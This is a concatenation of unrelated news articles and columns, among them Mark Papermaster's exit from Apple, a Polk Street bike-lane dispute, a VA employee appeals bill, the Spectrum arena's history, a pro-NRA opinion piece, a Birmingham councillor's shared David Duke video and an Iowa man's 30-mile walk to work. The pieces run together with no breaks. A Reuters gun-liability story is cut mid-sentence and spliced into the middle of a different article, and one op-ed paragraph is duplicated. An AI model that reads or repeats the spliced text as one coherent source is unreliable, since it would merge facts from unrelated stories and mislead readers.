I think actually, you know, because right after that, I did turn to Romney and said you were totally correct but they spent two weeks telling us that this was about a tape and that there was this riot outside of the Benghazi consulate, which there wasn't. So he was right in the main, I just think that he picked the wrong word.Mark Papermaster, the Apple executive in charge of hardware for the company’s flagship iPhone, has left the company in the wake of widely reported problems with the antenna of the recently introduced iPhone 4.
Apple confirmed Mr. Papermaster’s departure, but would not say whether he was ousted or left of his own accord. Reached on his cellphone, Mr. Papermaster declined to comment.
A person with direct knowledge of the situation, who agreed to speak on the condition of anonymity because he was not authorized to discuss it, said Mr. Papermaster had been pushed out over a series of hardware problems, including some related to the iPod Touch.
Bob Mansfield, senior vice president for Macintosh hardware engineering, will assume Mr. Papermaster’s responsibilities. Mr. Mansfield already oversees several technologies that are part of the iPhone, including the A4 chip, the retina display and touch screens, said Steve Dowling, an Apple spokesman.
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Apple recruited Mr. Papermaster in 2008, setting off a prominent battle with I.B.M, where in a 25-year-career he had risen to the top levels of management. I.B.M. sued Mr. Papermaster in federal court in an attempt to prevent him from joining Apple, saying that he had signed a noncompete agreement. The parties settled the case after Mr. Papermaster testified in court that he had not revealed any trade secrets.Driving a hard bargain over plans for Polk Street
Bicyclists ride their bikes on Polk Street near California Street in San Francisco, Calif., on Wednesday, January 28, 2015. Polk Street improvements might make the narrow street tougher to negotiate as the improvements are designed to make this well traveled bike corridor safer. less Bicyclists ride their bikes on Polk Street near California Street in San Francisco, Calif., on Wednesday, January 28, 2015. Polk Street improvements might make the narrow street tougher to negotiate as the... more Photo: Carlos Avila Gonzalez, The Chronicle Buy photo Photo: Carlos Avila Gonzalez, The Chronicle Image 1 of / 10 Caption Close Driving a hard bargain over plans for Polk Street 1 / 10 Back to Gallery
For a fairly short street, it’s been a long, long journey up Polk Street.
There have been 60 meetings over two years. There have been posters, community outreach, artists’ renderings and some pretty strong language. Finally, on Friday, there will be a presentation at City Hall where officials are deeply hopeful that their plan for the street will win widespread public approval.
Not likely.
What the city is proposing is a wide-ranging plan to target the busiest and most dangerous intersections along Polk Street and try to fix them. Among the ideas are pedestrian bulb-outs — sidewalk extensions — to make sure people are seen before crossing the street, painted bike lanes, and extensive landscaping. The board of the San Francisco Municipal Transportation Agency is to consider the plan in the next few weeks.
“We are disappointed with the current proposal,” says San Francisco Bicycle Coalition Executive Director Leah Shahum. “What they are proposing falls far short of what is needed on Polk.”
Which makes you wonder: Is there any possible way this can be worked out to everyone’s satisfaction? It doesn’t seem like it.
The funny part of all this is that there is so much on which everyone agrees. Polk has, through a quirk of topography — it’s relatively flat compared with surrounding streets — become a primary north-south corridor for bicycle traffic. It’s also gotten much busier as a retail center.
“Traffic used to be bumper-to-bumper a few times after a big event,” says Dan Kowalski, a 30-year resident who owns FLIPP — Fashionable Living in Petite Places — a business at Green and Polk streets. “Now I see it once every two weeks.”
You can figure out the physics yourself: Cars versus bikes with a sprinkle of pedestrians thrown in equals trouble.
“What we don’t want to see lost in all the back and forth is that this is a safety problem,” said Tom Maguire, head of sustainable streets for the MTA. “In the last five years we’ve had 122 people (walking and on bikes) hit by cars.”
That’s the Bicycle Coalition’s point, too.
“Polk Street has been designated as one of the least safe streets in the city,” Shahum said. “The Department of Public Health designated it as a high-injury corridor years ago.”
Sounds dandy, doesn’t it? Yeah, but...
“We are really happy that the city wants to spend some improvement dollars on this,” Kowalski said. “But the thing that concerns us is that they will say all these things to you, but in the end they are going to do what they want. To hell with the merchants — 'our plan is better than your concerns.’”
Parking is the issue for the small businesses that line the street. They worry that they are going to lose business and have problems getting deliveries, and that the Bicycle Coalition has a master plan to sweep the street free of automobiles and turn it into a velodrome.
Meanwhile, Shahum and her group want physically protected bike lanes. And if that means taking out parking spots, that’s just the way it goes. She produces data that show shopping revenue is higher coming from those who walk, bike or take public transit than from those who drive.
The merchants disagree.
“That’s one of the bad things about this,” Kowalski said. “It has put the bike coalition and small businesses at odds. We used to be arm in arm.”
And the city officials, well, that’s simple — whatever they do isn’t going to please everyone.
“What we came out with is a pretty comprehensive proposal that not only improves safety but enhances the attractiveness of the street,” says MTA project manager Luis Montoya. “We want the safest possible design. I think this is it.”
But the merchants think the parking spots lost — 70 percent will be retained, 250 will be removed — are too many. And the cyclists contend that the bike lanes proposed — as the street narrows to the north they become narrower and not physically separated from traffic — are nothing like what they have in mind.
So what’s the solution? I’d say everyone is going to have to settle for the fact that this was an honest, good-faith attempt and may be the best we can do. Polk is a 110-year-old street built for horses and buggies and is always going to have problems now that $5,000 bikes and $80,000 Teslas are sharing the road.
Kowalski sounds pretty Zen about the whole thing.
“I’ve heard people say that happiness is a decision you make,” he said. “I’d say we are 88 percent there.”
Not the way Shahum sees it. Two years and 60 meetings are just the start, she says.
“That’s the current proposal,” she said. “It’s been changed before. By no means is this discussion over.”
Sigh.
C.W. Nevius is a San Francisco Chronicle columnist. His columns appear Tuesday, Thursday and Saturday. E-mail: cwnevius@sfchronicle.com Twitter: @cwneviusThe House plans to vote within two weeks on a bill to limit appeal rights of Veterans Affairs Department employees, Majority Leader Rep. Kevin McCarthy (R-Calf.) said Thursday.
Under a measure approved Wednesday by the House Veterans Affairs Committee, VA employees would have less time to challenge disciplinary actions, such as demotions or firings, and they could not appeal decisions beyond a first-level hearing official. Those changes would largely mirror limits imposed last year by a law that applies only to senior executives at the VA.
With about 300,000 employees, the VA accounts for about a seventh of the 2.1 million executive branch workforce outside the independent U.S. Postal Service. The measure is one of numerous proposals offered in response to the scandal over patient scheduling and care at the department, and employee organizations see such measures as a precedent for making similar changes government-wide.
“For years this administration has failed to hold executive agencies accountable, and in the VA that has had dire consequences. The House Committee on Veterans Affairs has been doing good work, and this bill is another step toward providing the care that our veterans deserve,” McCarthy said in announcing the intent to schedule the vote before the congressional August recess.
[After a year of frustration, new bill would make it easier to fire VA employees]
Under the bill, an employee would have only seven days to file an appeal at the Merit Systems Protection Board, and the hearing officer there would have only 45 days to issue a decision or else the agency action would take effect by default. The outcome would be final.
Standard federal employee appeal rights provide for 30 days to file an appeal, set a target of having a decision in 120 days with no provision for default judgments if there is no ruling by then, and allow the outcome of the hearing level to be appealed to the three-member merit board and then into federal court.
Also, under the bill, during the appeal, the hearing officer could not temporarily stay the agency’s action, and the employee would be ineligible for awards and could not be placed on non-working paid “administrative” leave. Further, newly hired VA employees would have to serve a probationary period of 18 months, rather than the standard 12 months.
The shortened appeal process for VA senior executives has been used in only a handful of cases since that law was enacted a year ago, and a court challenge is pending, asserting that the procedure denies due process rights.
“This bill would achieve nothing, while spreading the growing culture of fear plaguing VA employees,” National Federation of Federal Employees president William R. Dougan said in a statement last week. “The provisions in this bill would likely lead to a higher turnover of qualified healthcare professionals at the VA, ultimately resulting in worsening standards of care for the brave men and women that served our country – and all at a higher cost to the American taxpayer.”
The American Federation of Government Employees has made similar comments, saying that employees “would become at-will and subject to the whim of managers engaging in discrimination, retaliation and patronage.”
In a statement to the committee, the VA said the measure likely would “result in unintended consequences for VA, such as a loss of qualified and capable staff to other government agencies or the private sector.”
“In effect, the bill would create a new class of employees in the government, a ‘VA class,’” the department said. “These ‘VA class’ employees could be removed or demoted at the discretion of the Secretary, would receive fewer due process rights and abbreviated MSPB appeal rights in actions taken and would serve longer probationary periods than their peers at other government agencies. This will hinder VA efforts to make the ‘VA class’ of employee the very finest employees to serve our veterans and ensure that they timely receive the benefits and care to which they are entitled.
“By singling out VA employees, the legislation would dishearten a workforce dedicated to serving veterans and hurt VA’s efforts to recruit and retain high performing employees,” it said.There was once a time when, if you were going to see a huge concert in Philadelphia, it meant going to The Spectrum. The historic South Philly arena opened 48 years ago today – September 30, 1967 – and though it was initially a sports arena and home to the Flyers and 76ers, it quickly developed a strong rep as rock and roll central on Broad and Pattison.
Bruce Springsteen played his first arena shows there in 1976. The Boss was also performing there in 1980, the day John Lennon was shot and killed; he opened the show with a moving speech. Billy Joel holds a record for selling it out the most, and developed a strong connection with his Philadelphia fans over his song “Captain Jack.” ( The version on his 1980 live album Songs In the Attic was recorded at The Spectrum). Fleetwood Mac and The Grateful Dead played The Spectrum a bazillion times over the years, and hometown heroes The Hooters headlined on Thanksgiving, 1987, for a special simulcast on MTV. (Watch “And We Danced” from that show below.)
In the 90s, Beck played his biggest show at the time (and one of the biggest of his career) before a packed Spectrum on the Odelay tour. Soundgarden also made their Philly arena debut there in 1991, and 16-year-old me saw my first concert there when Nine Inch Nails performed with Jim Rose Circus Sideshow and Marilyn Manson in December of 1994. (Watch that entire show here.)
By the end of the 90s, the Philly concert landscape was changing – major acts started to be booked at the neighboring Wells Fargo Center following its 1996 opening (fka First Union Center, fka Wachovia Center), and during the summertime, they went to the SBC in Camden (fka Tweeter Center, fka Budweiser-Sony Amphitheater). By the mid-aughties, the old rock hall was in slow decline – though still housing a ton of memories – and during its final run in 2009, it hosted headlining gigs from Taylor Swift and a whopping four-night stand from Pearl Jam, who brought the house down with an epic Halloween show that closed with a cover of Neil Young’s “Rockin’ In The Free World.” (I remember being at this show, watching fans try to steal chairs on the way out and security hysterically wrestling them away.)
To mark The Spectrum’s birthday, we collected an assortment of videos from its history – beginning with the most recent and working our way backwards through time. Check them out below, and leave your memories of The Spectrum in the comments.
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Chiptune artists have been using gameboys and other retro gaming hardware to create some rad-sounding tunes for a long time now, but it’s never been quite as easy as this. Using Nanoloop’s new Mono cartridge, now anyone can convert their Gameboy into a retro-tech synthesizer.
Nanoloop is a brand that has been part of the Chiptune movement since its earliest days. Cartridges produced under that name have been around since the late ’90s and there is already a Nanoloop One which provides sequencer functionality for Chiptune artists, but the Mono is a much more in-depth piece of kit.
The Mono turns a Game Boy into a three-channel analog synthesizer. It generates sound on the cartridge itself and then outputs through the headphone jack of the Game Boy. And it is able to generate some really quite impressive tunes, as early adopters are finding.
It works, as the creators describe:
“The analog components (op-amps, comparators, logic cells, etc.) of a PIC microcontroller are connected and configured in such a way that they form a hybrid sound chip with 3 analog filters and a true random noise generator, using only a few passive external components; a step sequencer with per-step control for all parameters. There are 8 banks of flash memory, each of which can hold 15 patterns per channel and a song structure.”
Much like the previous Nanoloop cartridges, this one comes built on a single, robust PCB that measures just a few millimeters in thickness. It also comes with software to help you create tunes on it, offering per-step control for all parameters.
All of the additional functionality does come at a price, though. While it fits onto a singular PCB, much like the previous Nanoloop 1 and 2, the Mono does cost quite a bit more. The latter two are priced at 28 euros ($31) and 50 euros ($55) apiece, but the Mono pre-order is just shy of 70 euros ($77).
For those interested, the Nanoloop Mono is expected to begin shipping on December 2 this year.As Democratic leaders publicly shoot down impeachment talk, members of the House Judiciary Committee are building a plan behind the scenes for impeaching President Trump, weighing all constitutional tools available to them in case Democrats win in 2018.
Judiciary Committee Democrats have decided it’s time to start getting serious about an impeachment strategy. The committee’s Republican chairman, unlike his Senate counterpart, has not engaged in any investigation into Russian meddling in the 2016 election and is mum on the subject.
Up to this point, talk of drafting articles of impeachment has remained limited to a handful of Democrats.
“Several members of the Judiciary Committee have determined it’s important that all committee Democrats meet to discuss the emergency of our committee to hold the president accountable for his actions,” one Democratic member on Judiciary told the Washington Examiner.
“The more out of control the president gets the more all actions should be on the table,” the member added, speaking anonymously due to the sensitivity of the issue.
Democratic leaders have advised their members to steer clear of impeachment, urging them to focus on policy and lifting up the party's economic message heading into 2018. When asked about impeachment, House Minority Leader Nancy Pelosi D-Calif has pivoted to pitch Democrats' Better Deal plan. And the rest of her leadership team is in lock-step, calling impeachment efforts “premature.”
The concern: If Democrats rally behind impeachment they won’t just wake up their base, they’ll wake up President Trump’s, jeopardizing their chances of taking back the House in 2018. (Though a recent poll conducted by Public Policy Polling, a Democratic firm, found 49 percent of voters support impeaching Trump.)
Right now impeachment resolutions have no way of advancing because Republicans control everything. But if Democrats win the House in 2018 the ability to exert a check on the president won’t be a far-flung fantasy. Those on the Judiciary Committee — where impeachment resolutions are usually referred to, investigated, and if warranted debated in a full hearing — don’t want to be caught without a plan.
“There’s a growing sense on the committee that we need a unified and disciplined examination of what are the constitutional tools available to us,” a second Judiciary Democrat said in an interview.
The member added that there’s a “rising sentiment for impeachment” among Democrats.
“[On] one hand we have to get ready for what might happen -- either in an immediate crisis or after the elections -- and, wanting to make sure whatever we do strengthens our political case in 2018 and not weaken it,” the member said.
Speaking to reporters on Wednesday, Rep. Luis Gutierrez D-Ill. said he’s working with a group of his colleagues to “present articles of impeachment before Thanksgiving,” but he didn’t say if it was a part of the united effort underway among Judiciary Democrats. Gutierrez sits on the committee.
“We’ve gathered together some of the most best-informed scholars on constitutional issues especially around impeachment and I assure you we will not leave you lacking for reason to impeach the president of the United States,” he added.
Rep. Steve Cohen D-Tenn., another member of Judiciary, has also threatened to draft articles. And Reps. Brad Sherman D-Calif. and Al Green D-Texas, have already introduced their own. The House nearly voted on Green’s resolution but he backed off at the last minute under pressure from his party. The vote would have put Democrats on the record on impeachment, causing potential problems with voters in 2018.
But the more organized effort that’s afoot isn’t about symbolic votes. Instead, it’s about putting a plan of action in place if special counsel Robert Mueller’s investigation into possible collusion between Trump’s campaign and the Russian government finds a smoking gun.
Mueller's investigation produced its first indictments on Monday, with former Trump campaign chairman Paul Manafort among those facing charges.
Rep. Jamie Raskin, a member of Judiciary, said his concern is about maintaining “cohesion and coordination.”
“Many members are undertaking a systematic [evaluation] of the constitutional principles that operate in this environment and historical precedents that are relevant to where we are,” the Maryland Democrat said in an interview. Raskin has a bill of his own that’s garnered 35 co-sponsors.
Raskin’s bill sets up a “body” by Congress under the 25th amendment. The 25th amendment offers an alternative option to impeachment. It says that the vice president and a majority of the body to be set up by Congress can determine a president’s inability. “My legislation just sets up the body -- it doesn’t mention Trump’s name -- and so it’s prepared to act in the event of an emergency.”
Raskin’s bill is just one option Judiciary Democrats are looking at as they craft a strategy should circumstances in the investigation or their party's political fortunes change.
It would still require a two-thirds majority in the Senate to remove the president from office even if he was impeached by the full House. Such an effort failed against President Clinton in 1999 despite Republican majorities in both houses of Congress.
“We’re in the analysis stage,” Raskin said walking into the chamber. He paused just beyond the door, spun around, poked his head back out and said with a grin, “We’re in the serious analysis stage.”A journalist captured in Afghanistan told the world he was still alive by tweeting with a prison guard's cellphone.
This remarkable tale about a tweet kicks off a new meme here at Gadget Lab that we're calling Tweet of the Day, where we'll post our favorite tweets from just about anybody in our orbit: gadget customers, pundits, analysts, journalists, Silicon Valley bigwigs and so on. Each Tuesday and Thursday, we'll be handpicking tweets that we find especially fascinating, enlightening, hilarious, moving or sad — anything that really gets us buzzing.
Today's tweet comes from Kosuke Tsuneoka, a Japanese freelance journalist who was released from five months of captivity in Afghanistan over the weekend. Since he was captured April 1, no one had heard a single word from Tsuneoka, but on Sept. 3 he managed to send out a tweet: "i am still allive, but in jail."
Speaking at a press conference today in Tokyo, Tsuneoka recounted the story of how he managed to trick his captors into allowing him to tweet. A low-ranking soldier had just gotten a new cellphone, a Nokia N70, and was asking Tsuneoka how to use it.
The guard had heard of the internet but didn't know what it was, so Tsuneoka called customer care to activate the phone and configure it for internet access. He showed the guard how to perform a Google search of "Al Jazeera," and then he talked about Twitter.
"But if you are going to do anything, you should use Twitter," he said he told the guard. "They asked what that was. And I told them that if you write something on it, then you can reach many Japanese journalists. So they said, 'Try it.'"
And just like that, Tsuneoka was able to communicate to the world that he was still alive. This is a truly amazing story originally reported by IDG News that underscores the power of a web-connected gadget and social networking while telling us a bit about the disconnected culture of Afghanistan.
A hat tip to Mary H.K. Choi (@choitotheworld) for spotting and sharing this story.
Seen any especially awesome tweets you'd like us to feature? Share them with Gadget Lab by Twitter.UPDATE 4/15/10: Blabbermouth is now confirming the death of Peter Steele, after contacting Type-O keyboardist Josh Silver, who validated online speculation about his death. The band has also posted a statement on their official site that an official statement from the band and Peter's family will come later today.
UPDATE #2 4/15/10: SPV, Type-O's official label just released this statement:
It's with great sadness that we give our condolences to the family and friends of Peter Steele. He died on April 14th, 2010. With his bands CARNIVORE and TYPE O NEGATIVE he achieved cult status and was loved by fans around the world. The last releases he did with TYPE O NEGATIVE were the DVD 'Symphony For The Devil' and the studio album 'Dead Again'. SPV/Steamhammer proudly released both products worldwide, which will now — very unfortunately — be the end of his recording legacy. The world has lost a charismatic frontman and a very talented person. Our condolences go to Peter's family, friends and the members of his bands.
Here is our original report, with some tributes added below it:
While nothing official has been released by the band, we are getting word that Type O Negative frontman Peter Steele died earlier today. Mistress Juliya confirmed the speculation by tweeting that she spoke to Type-O guitarist Kenny Hickey who confirmed it was of heart failure. He was 48 years old. Here are Juliya's two tweets:
Hatebreed frontman posted this tribute earlier today:
"HATEBREED would like to extend our condolences to the family, friends and fans of Peter Steele. He is one of the best guys we've ever toured with and a true legend! There will NEVER be anyone else like him. May he rest in peace."
Biohazard frontman and fellow Brooklynite, Evan Seinfeld posted this on Twitter:
[Rest in peace], my friend, brother, and mentor, Peter Steele, TYPE O NEGATIVE, CARNIVORE… my single biggest musical influence… who named BIOHAZARD. I fucking miss you so much already… I love you, brother. I hope you are in a better place.
Inhuman frontman Mike Scondotto posted a lengthy tribute, here is an expert:
"Pete meant a lot to me, and he meant a lot to Brooklyn. I would say that he was without a doubt the most successful Brooklynite to ever come out of the hardcore/metal scene and a true 'Brooklyn Bastard' if there ever was one."
UPDATE 4/16/10: The remaining members of Type O Negative and Peter's family have released an official statement.
As soon as we have any more info, we will report on it. This is truly a bummer, as Peter Steele was somebody all of us here at Metal Injection were a fan of. Whether it's Type O or his previous band Carnivore, Steele always brought something unique to the table. Here is one of Type O's biggest hits, Black No. 1:
Related Postsby Clay Turner, Creative Director - Friday, May 22, 2015
If gun control was a brand, it would be The Sharper Image.
That company’s way-cool gadgets and sleek stores once were the definition of high-tech (remember that catchphrase?), making them the coolest kid in the mall. They sold shiny, remote-controlled gadgets at premium (at least to a college kid like me) prices that solved problems you didn’t even know you had. They were hot before hot was even a thing.
The fall began when we learned that Sharper Image’s indispensable air ionizer actually pumped our designer living rooms full of noxious ozone. Lawsuits followed, and stores closed. I remember seeing a TV spot featuring founder Richard Thalheimer, the man who created it all, as pitchman. He came across as the creepiest guy I’d never want to have dinner with. “Hot” had lost its cool.
If you consider gun control as a brand of advocacy, you can catch a whiff of Sharper Image in it. The hot new cause (or brand) for those who believed their thinking didn’t stink, gun control had everything going for it in the 1960s and ’70s. It was driven by high-profile assassinations, benefited from the national anti-war/peace movement, and had the support of the nation’s major daily papers, monthly magazines and the three-and-a-half channels that constituted a TV monopoly. Gun control had brought us sparkling products like the Waiting Period for gun purchases, Background Checks and the Assault Weapons Ban—and politicians bought them.
But in the Bill Clinton era, the brand began to lose its mojo. Gun control had brought us sparkling products like the Waiting Period for gun purchases, Background Checks and the Assault Weapons Ban—and politicians bought them. Waiting on its shelves were shiny new bans on handguns, Saturday night specials and cop-killer bullets, too.
Americans, however, didn’t buy them, because the stuff we had already purchased was starting to smell funny.
First, we learned that only law-abiding citizens submit to background checks, while criminals steal their guns or buy them from other criminals. Then we learned that “assault weapons” worked just like Grandpa’s 100-year-old semi-auto shotgun, and when the FBI told us the ban had no effect on gun crime, politicians caught the scent and declined to renew it. Perhaps they were both early examples of, “We had to pass the bill to find out what was in the bill.”
Americans began to feel they’d been sold a bill of goods, and looked at the gun-control movement’s other products like they contained lead paint.
So-called cop-killer bullets turned out to be most hunting rifle rounds. Saturday night specials were nothing more than affordable handguns. The assault weapons ban was not only a hoax; it was also a ruse to ban every handgun, rifle and shotgun with a semi-automatic action. Smelling a rat, we began buying handguns like they were hotcakes, and we made the AR-15 the most popular rifle in America.
And their losing streak continued. Al Gore for president. John Kerry for president. Heller. McDonald.
In response, gun-control groups began to exhibit all the classic signs of brand panic. They changed their names to distance themselves from past failed products. Handgun Control Inc. became The Brady Campaign to Prevent Gun Violence, which then adopted the nickname The Brady Campaign so it could easily be written on a check. The National Coalition to Ban Handguns became the Coalition to Stop Gun Violence. The Million Moms For Gun Control became the Million Mom March somewhere along the line (or vice versa). Unable to garner even a fraction of that many moms, it then morphed into Moms Demand Action for Gun Sense in America. Michael Bloomberg then acquired the Moms brand, after all but abandoning his Mayors Against Illegal Guns in the face of departing mayors. To keep up the momentum, he folded both into a whole new brand, Everytown for Gun Safety, which doesn’t involve every town, and is not focused on gun safety.
Just when things looked darkest, Newtown happened—a national nightmare so incomprehensible that it shook every American, whether gun owner or not. Americans began to feel they’d been sold a bill of goods, and looked at the gun-control movement’s other products like they contained lead paint.
The gun-control movement saw daylight, and ran to it. In the middle of that opening was a microphone, and standing behind it was the most powerful man in the world, who welcomed the gun-control brand right into the White House. Every newspaper, every magazine and every TV anchor screamed for gun owners’ heads, and none dared to debate them in their righteous time slot.
Yet gun control lost that one, too. Congress demurred. States revolted. Voters voted.
In fairness, the gun-control movement had lost that battle before it even began. Just as if they were choosing a family minivan, Americans had done their research and distrusted the specious claims, false data and empty promises. Brands die when they lie: Once that trust bond with brand loyalists is broken, it’s nearly impossible to regain it. Gun control had promised us safety, but couldn’t deliver. Consumers may be fooled once, but they’re brutal on brands when betrayed.
Today, the classic signs of brand desperation continue to accelerate. Unable to get the Center for Disease Control to do it for them, Everytown publishes “studies” so thin on credibility that they serve as their own opposition research. Shannon Watts of Moms Demand Action barely rises from the pavement before she trips over another falsehood. Bloomberg dismisses recalled state senators as being from districts “where I don’t think there’s roads.” Moms Demand manipulates photos of its rallies to hide paltry attendance. The gun-control brand has little grassroots support: Without an infusion of cash from billionaire investors, it likely would be on the trash heap.
In contrast stands a brand of advocacy called the National Rifle Association, which has never been, nor ever will be, the National Rifle, Handgun and Shotgun Association or the National March For Things That Propel Projectiles. For 144 years, the NRA has stood for the protection, enjoyment and pursuit of the Second Amendment right to keep and bear arms.
In the branding world, that’s called “focus.” And a brand that loses focus will eventually begin to smell like it is past its “use by” date.Get the biggest Weekly Politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A Birmingham councillor has admitted a racist video produced by a former leader of the Klu Klux Klan was shared on his Facebook account.
But Labour councillor Zafar Iqbal said he had no idea how it got there. He said: "I know that this type of content could cause deep offence and I apologise to anyone who was affected by seeing this material."
Labour said any allegations of racism will be looked at.
The film, called "CNN, Goldman Sachs & the Zio Matrix!", was produced by David Duke, a former Imperial Wizard of US white supremacist movement the Klu Klux Klan.
The description in the post from Coun Iqbal's Facebook account states that it "reveals how the Zionist Matrix of Power controls Media, Politics and Banking." This appears to have been generated automatically from the description of the video on YouTube, where it was posted by Dr Duke.
While "Zionist" is sometimes used to refer to the state of Israel, the idea that Jews are part of a "Zionist" conspiracy to control institutions across the world is an anti-Semitic allegation which was used to demonise Jews before modern Israel even existed.
Coun Iqbal said in a statement: "I have no recollection of sharing this video and have no idea how it was shared on my Facebook page.
"Anyone that interacts with me on social media knows that I would never knowingly share any racist, abusive or anti-Semitic content.
"Nevertheless – I accept that this content was for a period active on my Facebook page and it is now been deleted.
"I know that this type of content could cause deep offence and I apologise to anyone who was affected by seeing this material.
"There is no place for anti-Semitism in the Labour Party or in our society – and I will continue to work closely with groups of all faiths in Birmingham against racism and prejudice."
A West Midlands Labour Party spokesman said: " The Labour Party treats all allegations of anti-semitism, racism, intimidation or abuse very seriously. Any evidence of such behaviour will be looked at and action will be taken when relevant.
"We don’t comment on individuals’ membership status."
Coun Iqbal is a Labour councillor in South Yardley. He also was appointed a Justice of Peace at Solihull Magistrates Court in 2007, and received an MBE in 2008 for services to education and the community.
Watch: Labour leader Jeremy Corbyn says his party will not tolerate racism or anti-SemitismALBANY, New York (Reuters) - A Buffalo man who was shot nearly a decade ago can sue the manufacturer, the distributor and the dealer of the semi-automatic pistol used to shoot him, a New York state appeals court ruled on Friday.
Attorneys for Daniel Williams, who was shot in 2003 when he was in high school, argued that Ohio-based manufacturer Beemiller and the distributor, MKS Supply, violated federal law by knowingly supplying guns to irresponsible dealers.
The defendants said they cannot be sued because of the federal Protection of Lawful Commerce in Arms Act, a 2005 law that shields firearm manufacturers and sellers from liability |
manager of utilities in Lamoni, has been giving rides to Simoff for a decade and admires the man's fortitude.
"He's trying to earn a living," Segebart said. "That's how I look at it. You're trying to earn a living and doing what it takes. And this is what it takes."
Buy Photo Steven Simoff of Davis City, Iowa leaves for work Friday Feb 13, 2015. Steven works at Lakeside Hotel and Casino in Osceola and walks the over 30 miles to work. (Photo: Rodney White/The Register)
The two men met on an I-35 entrance ramp, "and we've been sort-of friends ever since," Simoff said, turning to Segebart. "I guess that's the way you'd classify us. Otherwise you wouldn't pick me up all the time."
• 6:12 p.m. — Since he wasn't in a hurry, Segebart went out of his way to drop off Simoff at the front door of the casino. On this day, the janitor had to trudge less than one-third the distance to work.
"Now all it is is the waiting game," Simoff said.
He wound his way into the bowels of the gambling complex. He poured a coffee and sat in the break room, where a free buffet and a blaring TV are provided for employees.
"It's just an iffy thing," he said of his commute. "Today I got lucky."
Julio Camacho works security at the casino.
"He's dedicated, and he works his buns off," Camacho said of Simoff. "If I see him, I pick him up."
The morning after White and I followed him, Simoff made it back to Davis City before 9:30 a.m.
PLAYING THE ROADSIDE ODDS
Simoff says he has walked in rain, sleet, even calf-deep snow.
His commute would be slightly shorter — and more scenic — if he headed straight north along U.S. Highway 69. But swinging west to the interstate offers higher traffic volume: For a guy who works at the casino, Simoff knows how to play the roadside odds.
"Everybody in the county knows him as far as I know," said Herbert Muir, who has been sheriff of Decatur County for 17 years. He and his deputies have given Simoff rides.
Muir first met Simoff after his office began receiving calls in winter "about a guy in black walking up the highway."
"There's no danger about him or anything," the sheriff added. "He's personable. He's not been in trouble. He just walks."
MONEY STILL TIGHT
Simoff says he's never been injured while walking to work. He still cuts a reasonably trim figure. A case of osteoarthritis in his right knee nags at him.
He's doesn't take any medication beyond the occasional aspirin or Tylenol. He swigs a lot of coffee. A lump of Grizzly Wintergreen Long Cut chewing tobacco tucked between his cheek and gums is his "only downfall," he says.
"I may have slowed up a heck, but it don't feel any different," he said of covering so much ground at his age. "I try to find my comfort zone."
Simoff also spends his eight-hour shift on his feet cleaning the casino, except for two 15-minute breaks and a half hour for lunch.
After Renee, 61, suffered a stroke nine years ago, walking became empowerment.
Hand-in-hand with her husband around Lamoni, in ever longer distances, Renee leveraged her stubbornness to retrain her body and brain to walk.
Renee then suffered a pair of heart attacks within the same day in 2010 and required heart bypass surgery.
Her disability — Renee's Supplemental Security Income checks add a little cushion to Simoff's $9.07-per-hour job — prodded Simoff to walk to work on a more regular basis.
"When you add everything up, I feel like we're going broke," Renee said.
A RELIABLE EMPLOYEE
The couple is often asked why they haven't just moved closer to Simoff's job.
Renee's daughter, Melinda Lee, 40, lives in Truro. In the next year or two, the Simoffs may relocate closer to her.
"He's been a dad to me in every way possible since I was 15," Lee said of Simoff.
In this sense, the Simoffs' situation also seems to echo Robertson in Detroit: Low-wage earners may keep such a tenacious grip on any sort of stable housing — such a core sense of security — that they'll go to extraordinary lengths in their everyday routines.
Robertson more or less benefited from free housing in Detroit.
“If I don’t get to work, bills don’t get paid. As long as my two feet are good and my health is good, I don’t think I’ll change. ”
Monthly rent of $400 in Davis City is the Simoffs' biggest expense, followed by groceries.
Simoff has been a steady, reliable employee, cultivating a long career in security jobs. He worked at the casino from about 2000 to 2006, then got jobs at the detention center in Bethany, Mo., and at Graceland University in Lamoni before returning to the casino about five years ago.
Simoff is proud of every merit pin awarded by the casino, which he adds to his name badge.
"If I don't get to work," he said, "bills don't get paid. As long as my two feet are good and my health is good, I don't think I'll change."
MARATHON COMMUTERS
To be clear, Simoff didn't seek me out. I first heard about him after posting a link online to the story of the Detroit commuter.
CLOSE One week after he gained global attention for his daily 21-mile commute by foot for work, James Robertson looked no different, but the 56-year-old Detroit man has lot more to be thankful for.
There's a guy in southern Iowa who walks even farther, somebody told me on Twitter.
At first I couldn't believe it.
But when I began to independently poll some contacts in and around Decatur County, it seemed nearly everyone had heard of Simoff, seen him or given him a ride.
I stopped a woman at random in Davis City. Melissa Adams lives in Lamoni and was visiting town. She didn't remember Simoff's name or where he lived, but she had once given him a ride.
"It's amazing to me that he can actually walk that far," Adams said.
It's almost as if these marathon commuters — Simoff, Robertson and untold others — are all-too-visible illustrations of America's wider gulf between the haves and the have-nots.
And at some point, not even the most industrious, tireless walker is able to bridge the gap.
THE AMERICAN WALK TO WORK
According to the most recent statistics from the U.S. Census Bureau's American Community Survey, marathon walking commuter Steve Simoff of Davis represents a slim minority.
Among all American workers — nearly 140 million people age 16 and older — fewer than 3 percent commute on foot.
In Iowa, 3.6 percent of workers are walking commuters — compared with 2.2 percent in Michigan, where newly famous walking commuter James Robertson has trod the streets of Detroit.
Contrast that with the 6.4 percent of New Yorkers who walk to work. A whopping 22 percent of New Yorkers don't even have access to a vehicle, compared with 4 percent in Iowa, where mass transit is less common.
Among all workers nationwide, according to these five-year estimates from 2013, only about 8 percent need an hour or more to get to their jobs.
Read or Share this story: http://dmreg.co/1ApzhewCLOSE In 2012, the Eric Trump Foundation pledged a $20 million, 10-year commitment to St. Jude. The Commercial Appeal
Eric Trump, son of President-elect Donald Trump, said he worries his direct fundraising for St. Jude could be perceived as buying access to his father. (Photo: Rick Wood/Milwaukee Journal Sentinel)
PALM BEACH, Fla. — One of President-elect Donald Trump's sons will stop raising money for his foundation, which gives money to St. Jude Children's Research Hospital in Memphis, saying he worries the donations could be perceived as buying access to his father.
Eric Trump said Wednesday that it pained him to cease soliciting donations for his organization, which he says has raised more than $15 million for children terminally ill with cancer.
Eric Trump, the younger of the president-elect's two adult sons, has raised enough money over the last decade to fund a new intensive care unit at St. Jude, which provides free medical care for children.
Eric Trump said he will likely wind down the Eric Trump Foundation — which had just one employee — but plans to continue public advocacy against childhood cancer. About $5 million of a $20 million, 10-year commitment to St. Jude remains outstanding, money that likely will be raised by donations from patrons at Trump-owned hotels and golf courses.
Officials at ALSAC, the fundraising and awareness organization for St. Jude, did not respond to requests for comment by late Thursday.
